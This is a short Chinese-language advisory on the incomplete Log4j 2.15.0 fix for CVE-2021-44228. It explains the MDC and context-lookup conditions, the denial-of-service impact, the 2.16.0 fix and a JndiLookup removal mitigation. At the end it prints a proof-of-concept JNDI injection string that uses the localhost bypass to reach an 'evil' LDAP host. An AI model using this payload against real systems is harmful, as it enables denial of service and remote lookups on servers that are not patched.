
已经发现,Apache Log4j 2.15.0 中对 CVE-2021-44228 的修复在某些非默认配置下是不完整的。当日志记录配置使用了非默认模式布局,且包含上下文查找(例如 $${ctx:loginId})或线程上下文映射模式(%X、%mdc、%MDC)时,攻击者可通过控制线程上下文映射(MDC)输入数据,使用 JNDI 查找模式构造恶意输入数据,导致拒绝服务(DOS)攻击。Log4j 2.15.0 默认将 JNDI LDAP 查找限制为本地主机。请注意,之前的缓解措施(例如设置系统属性 log4j2.noFormatMsgLookup 为 true)并不能缓解此特定漏洞。Log4j 2.16.0 通过移除对消息查找模式的支持并默认禁用 JNDI 功能来修复此问题。在早期版本(<2.16.0)中,可以通过从类路径中移除 JndiLookup 类来缓解此问题(例如:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class)。
Poc
${jndi:ldap://127.0.0.1#evil[.]com:1389/a}
https://github.com/cckuailong/reapoc/tree/main/Topic/Log4j